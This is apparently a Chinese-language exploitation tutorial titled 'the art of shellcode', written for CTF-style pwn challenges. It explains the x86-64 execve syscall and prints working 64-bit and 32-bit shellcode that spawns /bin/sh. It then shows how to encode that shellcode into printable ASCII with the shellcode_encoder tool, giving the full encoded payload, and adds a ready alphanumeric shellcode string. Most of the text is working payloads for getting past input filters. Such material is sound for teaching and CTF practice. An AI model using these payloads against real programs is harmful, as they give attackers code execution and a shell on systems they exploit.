shellcode的艺术

shellcode的艺术

​ shellcode的花样与难处也就是在于白名单绕过,即各种对注入shellcode的限制

前言

linux中,存在着一系列的系统调用,这些系统调用都通过syscall指令来触发,并且通过rax寄存器作为系统调用号来区分不同的系统调用,可以通过查看linux源码目录下的arch/x86/entry/syscall_64.tbl获得对应的系统调用号。比如,execve对应的的系统调用号为59。接着,即是通过rdi和rsi两个寄存器传入参数。其中,rdi是指向运行程序的路径的指针,rsi为一个指向0的指针,rdx为0。即:

1
2
3
4
5
rax = 59
rdi = ['/bin/sh']
rsi = [0]
rdx = 0
syscall

64位手写shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)

32位手写shellcode:

1
2
3
4
5
6
7
8
9
10
11
xor ecx,ecx
xor edx,edx
xor ebx,ebx
push ebx
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
xor eax,eax
push 11
pop eax
int 0x80

1.可打印ascii

这一种的限制一般是要求shellcode为可打印字符,包括字母、数字、符号。
有一款很不错的工具:shellcode_encoder
使用这一工具首先需要安装z3-solver:

1
$ pip install z3-solver

开始生成可打印shellcode前,我们需要先将原来的shellcode输出到一个文件中,这里我们用python来执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.arch = 'amd64'
shellcode = '''
xor rdx,rdx;
push rdx;
mov rsi,rsp;
mov rax,0x68732f2f6e69622f;
push rax;
mov rdi,rsp;
mov rax,59;
syscall;
'''
shellcode = asm(shellcode)
f = open('shellcode','wb+')
f.write(shellcode)
f.close()

然后,将生成的shellcode文件放到shellcode_encoder目录下,运行:

1
$ python main.py shellcode rax+29

其中,shellcode是我们生成的shellcode文件,然后因为漏洞程序是通过call rax调用shellcode的,以及shellcode_encoder生成shellcode时的偏移位置,所以这里用了rax+29。生成的shellcode:

1
2
3
4
5
6
Original length: 30
Encoded length: 476
Preamble length: 29
Total length: 505

PPTAYAXVI31VXXXf-C_f-@hf-`8PZTAYAXVI31VXPP[_Hc4:14:SX- (mz-i Wx5?<??P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-IL+N-@x6x5?41}P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Txl(-H0| 5V__>P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-Gz#'-~ @5?_?_P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-e3'R-T)@~5O ^?P^14:WX-|w_?-@U@C-@3`}P_Hc4:14:SX-&Pu8-( @@57O?oP^14:WX-|w_?-@U@C-@3`}P_SX-:AXH-#?Hx5;~_?P_Hc4:14:SX- $80- , 5?M7?P^14:WX-|w_?-@U@C-@3`}P_SX-@dG1- dyo5<6?_P^SX-zphB-``(~5>/o?P_AAAAo{5mTM=K8_?* *v k1jXk_DC(%r:ou}}n;oopM]alYoM0"+/O%Y2P9@"USR2|O?+

2.纯数字字母shellcode

具体见引文:https://hama.hatenadiary.jp/entry/2017/04/04/190129
shellcode:

1
PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA